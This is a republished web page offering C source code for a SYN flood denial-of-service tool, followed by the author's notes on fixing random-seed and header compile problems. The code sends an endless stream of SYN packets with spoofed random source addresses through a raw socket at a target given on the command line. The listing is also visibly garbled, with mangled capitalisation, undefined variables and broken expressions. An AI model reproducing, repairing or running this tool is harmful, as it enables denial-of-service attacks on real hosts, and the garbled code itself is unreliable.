SYN attack source

Source: Internet
Author: User
Tags socket error htons

First, the Linux source code implementation
/* SYN flood by WQFHENANXC.
* Random soruce IP and random sourec port.
* Use #include <tcp_new.h>instead of a for my own system reason.
* Usage:eg. To flood port 8080 on IP 246.245.167.45./synflood 246.245.167.45 8080
* Any question mail to [email protected]
* 2009.6.12
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "Synflood.h"

#define DEFAULT_DPORT 80
#define SPORT 8888

#define GETRANDOM (min, max) ((rand ()% (int) ((max) +1)-(min)) + (min))

void send_tcp (int sockfd,struct sockaddr_in *addr);
unsigned short checksum (unsigned short *buffer, int size);
unsigned short random_port (unsigned short minport,unsigned short maxport);
void Random_ip (char *str);

int main (int argc,char **argv) {
int sockfd;
struct sockaddr_in addr;
int dport;
int on=1;
if (argc!=3) {
printf ("Usage: <command_name><target_ip>\n");
Exit (1);
}
Bzero (&addr,sizeof (struct sockaddr_in));
Addr.sin_family=af_inet;
Addr.sin_port=htons (Atoi (argv[2));
Addr.sin_addr.s_addr=inet_aton (argv[1]);
Inet_pton (AF_INET,ARGV[1],&AMP;ADDR.SIN_ADDR);
/*if (Inet_aton (argv[1],&addr.sin_addr) ==0) {
Host=gethostbyname
}*/
Sockfd=socket (AF_INET,SOCK_RAW,IPPROTO_TCP);
if (sockfd<0) {
printf ("Socket error!\n");
Exit (1);
}
SetSockOpt (Sockfd,ipproto_ip,ip_hdrincl,&on,sizeof (on));
while (1) {
Send_tcp (SOCKFD,&AMP;ADDR);
}
return 0;
}

void send_tcp (int sockfd,struct sockaddr_in *addr) {
Char buff[100];
struct IPHDR ip_header;
struct TCPHDR tcp_header;
unsigned short source_port=random_port (1024,5000);
Char ip_str[50];
struct IN_ADDR IP;

RANDOM_IP (IP_STR);
if (Inet_aton (IP_STR,&AMP;IP) ==0) {
printf ("Inet_aton error!\n");
Exit (1);
}
Bzero (buff,100);

ip_header= (struct iphdr*) buff;
ip_header.version=4;
ip_header.ihl=5;
ip_header.tos=0;
ip_header.tot_len=sizeof (struct IPHDR) +sizeof (struct TCPHDR);
Ip_header.id=htons (random ());
ip_header.frag_off=0;
ip_header.ttl=30;
IP_HEADER.PROTOCOL=IPPROTO_TCP;
ip_header.check=0;
IP_HEADER.SADDR=IP.S_ADDR;
ip_header.daddr=addr->sin_addr.s_addr;

tcp_header= (struct tcphdr*) (buff+sizeof (struct IPHDR));
Tcp_header.source=htons (Source_port);
tcp_header.dest=addr->sin_port;
Tcp_header.seq=rand ();
tcp_header.doff=sizeof (struct TCPHDR)/4;
tcp_header.ack_seq=0;
tcp_header.res1=0;
tcp_header.fin=0;
Tcp_header.syn=1;
tcp_header.rst=0;
tcp_header.psh=0;
tcp_header.ack=0;
tcp_header.urg=0;
Tcp_header.window=htons (65535);
tcp_header.check=0;
tcp_header.urg_ptr=0;


Send_tcp_segment (&ip_header,&tcp_header, "", 0);
struct{
unsigned long saddr;
unsigned long daddr;
Char Mbz;
Char PTCL;
unsigned short tcpl;
}psd_header;

PSD_HEADER.SADDR=IP_HEADER.SADDR;
PSD_HEADER.DADDR=IP_HEADER.DADDR;
psd_header.mbz=0;
PSD_HEADER.PTCL=IPPROTO_TCP;
Psd_header.tcpl=htons (sizeof (struct TCPHDR));

memcpy (buff,&psd_header,sizeof (Psd_header));
memcpy (Buff+sizeof (Psd_header), &tcp_header,sizeof (Tcp_header));
memcpy (buf+sizeof (Psd_header) +sizeof (Tcp_header), Data,dlen);
memset (buf+sizeof (Psd_header) +sizeof (Tcp_header) +dlen,0,4);
Tcp_header.check=checksum (unsigned short*) buff,sizeof (psd_header) +sizeof (Tcp_header));

memcpy (BUFF,&AMP;IP_HEADER,4*IP_HEADER.IHL);
memcpy (buff+4*ip_header.ihl,&tcp_header,sizeof (Tcp_header));
memcpy (Buf+4*ip_header.ihl+sizeof (Tcp_header), Data,dlen);
memset (buf+4*ip_header.ihl+sizeof (Tcp_header) +dlen,0,4);
Ip_header.check=checksum (unsigned short*) buff,4*ip_header.ihl+sizeof (Tcp_header));

Send_seq=seq+1+strlen (BUF);

SendTo (sockfd,buff,sizeof (struct IPHDR) +sizeof (struct TCPHDR), 0,
(struct sockaddr*) addr,sizeof (struct sockaddr_in));

}


unsigned short checksum (unsigned short *buffer, int size) {

unsigned long cksum=0;

while (size >1) {

cksum+=*buffer++;

Size-=sizeof (unsigned short);

}

if (size) cksum + = * (unsigned char*) buffer; //.. Buffer.. Size: 2 ...

Cksum = (cksum >> +) + (Cksum & 0xFFFF);

Cksum + = (cksum >>16);

return (unsigned short) (~cksum);

}

unsigned short random_port (unsigned short minport,unsigned short maxport) {
/*struct time stime;
unsigned seed;
GetTime (&stime);
Seed=stime.ti_hund*stime.ti_min*stime.ti_hour;
Srand (seed); */
Srand ((unsigned) time (NULL));
Return (Getrandom (Minport,maxport));
}

void Random_ip (char *str) {
int a,b,c,d,i=0;
static long j=0;
Srand ((unsigned) time (NULL) + (i++) + (j + +));
A=getrandom (0,255);
Srand ((unsigned) time (NULL) + (i++) + (j + +));
B=getrandom (0,255);
Srand ((unsigned) time (NULL) + (i++) + (j + +));
C=getrandom (0,255);
Srand ((unsigned) time (NULL) + (i++) + (j + +));
D=getrandom (0,255);
sprintf (str, "%d.%d.%d.%d", a,b,c,d);
printf ("%s\n", str);
}

Ii. problems encountered in the preparation
1.rand () function problem. Random IP address Four fields are generated, resulting in the resulting speed is too fast, as srand () seed system time has not changed, resulting in the same IP four fields, such as 118.118.118.118, and a succession of 10 or so packets are the same IP. The solution is to introduce self-increment I and J.
2. The compilation error is as follows:
/usr/include/linux/ip.h:95:error:syntax error Before "__u8"
/usr/include/linux/ip.h:102:error:syntax error Before "Tot_len"
/usr/include/linux/ip.h:103:error:syntax error before "id"
/usr/include/linux/ip.h:104:error:syntax error Before "Frag_off"
/usr/include/linux/ip.h:105:error:syntax error Before "TTL"
/usr/include/linux/ip.h:106:error:syntax error before "protocol"
/usr/include/linux/ip.h:107:error:syntax error before "check"
/usr/include/linux/ip.h:108:error:syntax error Before "Saddr"
/usr/include/linux/ip.h:109:error:syntax error Before "Daddr"
。。。
。。。
。。。

/usr/include/linux/tcp.h:105:enumerator value for ' TCP_FLAG_CWR ' not
Integer constant
/usr/include/linux/tcp.h:106:syntax error Before "__u32"
/usr/include/linux/tcp.h:107:syntax error Before "__u32"
/usr/include/linux/tcp.h:108:syntax error Before "__u32"
/usr/include/linux/tcp.h:109:syntax error Before "__u32"
/usr/include/linux/tcp.h:110:syntax error Before "__u32"
/usr/include/linux/tcp.h:111:syntax error Before "__u32"
/usr/include/linux/tcp.h:112:syntax error Before "__u32"
/usr/include/linux/tcp.h:113:syntax error Before "__u32"
/usr/include/linux/tcp.h:114:syntax error Before "__u32"

The above two errors are due to the fact that the system ip.h and tcp.h do have problems,
The first error is resolved by adding a #include that contains the definitions of __U8 and __u32.

The second error originates from the following lines of Tcp.h:
enum {
TCP_FLAG_CWR = htonl (0x00800000)
Tcp_flag_ece = htonl (0x00400000),
Tcp_flag_urg = htonl (0x00200000),
Tcp_flag_ack = htonl (0x00100000),
TCP_FLAG_PSH = htonl (0x00080000),
Tcp_flag_rst = htonl (0x00040000),
Tcp_flag_syn = htonl (0x00020000),
Tcp_flag_fin = htonl (0x00010000),
Tcp_reserved_bits = htonl (0x0fc000000),
Tcp_data_offset = htonl (0xf0000000)
};
Workaround: Copy the contents of the Tcp.h to another newly created file tcp_new.h, remove the htonl from the previous lines of code in the new file, and use # Include in your own files instead of # include.

Resources:
1.http://www.linuxsir.org/bbs/showthread.php?t=101990
2.Zakath of Syn-flood Source
3.http://fanqiang.chinaunix.net/a4/b7/20010508/112433.html

SYN attack source

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.